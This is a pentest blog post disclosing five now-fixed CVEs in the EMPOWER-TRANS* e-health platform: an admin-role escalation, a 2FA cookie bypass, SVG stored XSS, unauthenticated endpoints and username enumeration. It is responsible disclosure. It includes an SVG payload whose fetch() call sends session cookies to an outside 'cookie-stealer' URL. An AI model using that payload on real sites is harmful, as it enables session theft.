E-Health Issues (2/3) - Severe Vulnerabilities in EMPOWER-TRANS*

Jul 22, 2026 •
Majid Lakhnati
Majid Lakhnati's Bild

Majid Lakhnati

Active since: 2024

cves,web

This is the second post in our E-Health series (check out part one on SimplifyU if you missed it). Turns out 2025/2026 has been rough for security in the health sector and this next one didn’t disappoint either.

Intro

EMPOWER-TRANS* is a digital information and training platform funded through Germany’s Innovationsfonds (to the tune of €4.9 million), aimed at transgender people and people with gender dysphoria who need support along the way - a group for which privacy and the sensitivity of processed data matter enormously. Before the application went live, the vendor commissioned us to perform a web application penetration test, which was a genuinely good call as it turned out.

We ran a greybox pentest (5 person-days) against a dedicated test environment that was populated with test data only. We were provided with accounts across all four roles the application defines: User, Dispatcher, Specialist, and Admin.

What we found was, once again, not great: a full chain from normal user privileges to complete administrative takeover, a two-factor authentication that only authenticates one factor, and persistent Cross-Site Scripting (XSS). The vendor was fast and professional throughout the mitigation process and every finding was confirmed and fixed in version 1.1, as the retest showed.

Overview of the CVEs

A total of 5 CVEs were assigned to the vulnerabilities identified. All affected version 1.0 of the application; all were fixed in version 1.1.

CVE Number Name Severity
CVE-2026-37084 Broken Function Level Authorization Critical
CVE-2026-37083 Persistent Cross-Site Scripting High
CVE-2026-37082 Missing Authentication on Critical API Endpoints High
CVE-2026-37080 Two-Factor Authentication Bypass High
CVE-2026-37081 Username Enumeration Medium

Remediation

All vulnerabilities described below have been fixed in version 1.1 of the application.

CVEs in Detail

Broken Function Level Authorization (CVE-2026-37084)

The application is a Single Page Application (SPA) that dynamically loads its entire routing logic and admin functionality from a single JavaScript bundle. There was no client-side route protection since admin routes such as /admin/role-management, /admin/file-management, /admin/archive, and /admin/activation-codes were simply… there, waiting to be navigated to by anyone who cared to look. For instance, it was possible to directly browse to /admin/role-management with the user account that had the lowest privilege.

admin routes reachable without client-side protection
Figure 01: Direct access to administrative endpoints.

From there, it was possible to assign permissions to specific user accounts. A logged-in user with the lowest privilege level could call this endpoint directly and simply assign themselves the Admin role. No further steps required.

admin routes reachable without client-side protection
Figure 02: Assigning the admin user role.
self-assigning the admin role via the API
Figure 03: Escalation to Admin via an unprotected call to the corresponding endpoint /api/admin/reassing-user-role.

This grants full access to every administrative function and, more importantly, access to any (pseudonymized) medical questionnaires and personal information of every patient and user of the app.

self-assigning the admin role via the API
Figure 04: Complete access to all administrative functions.

The following API endpoints had no server-side authorization checks, including:

  • /api/admin/reassing-user-role
  • /api/admin/get-user-groups-counts
  • /api/admin/get-first-batch-of-users
  • /api/admin/get-activation-codes
  • /api/admin/search-users-by-query
  • /api/archive/all-modules
  • /api/admin/all-roles
  • /api/role/create
  • /api/admin/role/delete-role
  • /api/role/update

When we presented this vulnerability, one comment from the customer’s side has stuck with us since:

“But how is an attacker without prior knowledge of the application supposed to find paths like /admin/role-management? You had an admin account, so of course you knew about it!”

Which is a great question with a slightly deflating answer: because the entire client-side routing table ships to every visitor inside one JavaScript file, all it takes is opening the browser’s dev tools and reading it. No admin account, no insider knowledge, as can be seen in the following Figure.

self-assigning the admin role via the API
Figure 05: Identifying the administrative routes in the bundled JavaScript file.

Two-Factor Authentication Bypass (CVE-2026-37080)

The application implements 2FA over a six-digit code transferred to the e-mail associated with your account. This is great, until you notice that the server issues a fully authenticated session cookie immediately after step one (username + password), before the 2FA code is ever checked.

self-assigning the admin role via the API
Figure 06: Fully authenticated session cookie after initial authentication.

That cookie works on its own. Anyone in possession of valid credentials (leaked, reused, phished, take your pick) could skip the second factor entirely by taking that session cookie and loading it into a browser extension such as Cookie-Editor.

2FA code prompt bypassed via session cookie
Figure 07: Using the previously issued cookie and thereby bypassing the 2FA.

Persistent Cross-Site Scripting (CVE-2026-37083)

The file management feature allowed SVG uploads without any content validation. SVGs can contain embedded JavaScript that browsers happily execute when the file is opened directly, for example via a URL such as /api/media/file/images/<filename>.svg. Below is an example of a typical Proof-of-Concept for the persistent XSS, simply putting out an alert box with the domain of the website.

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

When uploading this SVG file via the file management and navigating to the upload, one can see that the XSS payload is executed in the user’s browser.

self-assigning the admin role via the API
Figure 08: Stored XSS triggered via an uploaded SVG file.

To make matters more interesting, the session cookie was missing the HttpOnly flag. Therefore, the XSS payload could reach straight into document.cookie and exfiltrate an authenticated session, with an exemplary payload in the following code snippet.

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">
      fetch(`https://cyber.wtf/cookie-stealer`+document.cookie);
   </script>
</svg>

Combined with the BFLA vulnerability above, this also meant a low-privileged attacker had a path towards administrative session hijacking.

Missing Authentication on API Endpoints (CVE-2026-37082)

A closely related but distinct problem: several sensitive API endpoints didn’t check for authentication at all. Our notes from that day literally read “wait, why does this work without the session cookie??” It simply wasn’t being asked for.

calling a sensitive api endpoint without any authentication
Figure 09: Calling a sensitive API endpoint with no session cookie.

This problem could be observed for multiple endpoints, including:

  • /api/role/all-roles
  • /api/file-management/recently-uploaded
  • /api/file-management/files
  • /api/admin/all-roles
  • /api/role/create
  • /api/admin/role/delete-role
  • /api/role/update

Username Enumeration (CVE-2026-37081)

Login, password-reset, registration, and profile-update endpoints all returned subtly different responses depending on whether a given username existed or not. On its own, it is just a medium-severity issue. Paired with 2FA issue above, it’s a convenient reconnaissance step for narrowing down which accounts are worth attacking first when an attacker tries to gain initial access.

different error messages reveal valid usernames
Figure 10: Differing error messages, valid username.
different error messages reveal valid usernames
Figure 11: Differing error messages, invalid username.

Impact

Chained together, these vulnerabilities amounted to a full loss of confidentiality, integrity, and availability of patient data belonging to an already vulnerable population: viewing, modifying, and deleting records, and reading submitted (pseudonymized) medical questionnaires. All starting from the perspective of a low privileged user to full administrative access. Given that this involves health data under Art. 9 GDPR, the reputational and regulatory stakes were correspondingly high.

Lessons Learned

  • Authorization bugs are still one of the most common ways modern web apps fall over
  • Every privileged action needs server-side enforcement too
  • 2FA needs to gate session issuance, not follow it
  • File uploads (yes, even “just images”) need thorough validation beyond the file extension
  • Regular penetration testing, ideally before go-live, keeps vulnerabilities like these from ever reaching production and getting exploited by an attacker with malicious intent

Timeline

Date Event
2025-11 Initial penetration test
2026-02 Retest
2026-02 CVEs requested from MITRE
2026-06 CVEs approved
2026-07 Blogpost published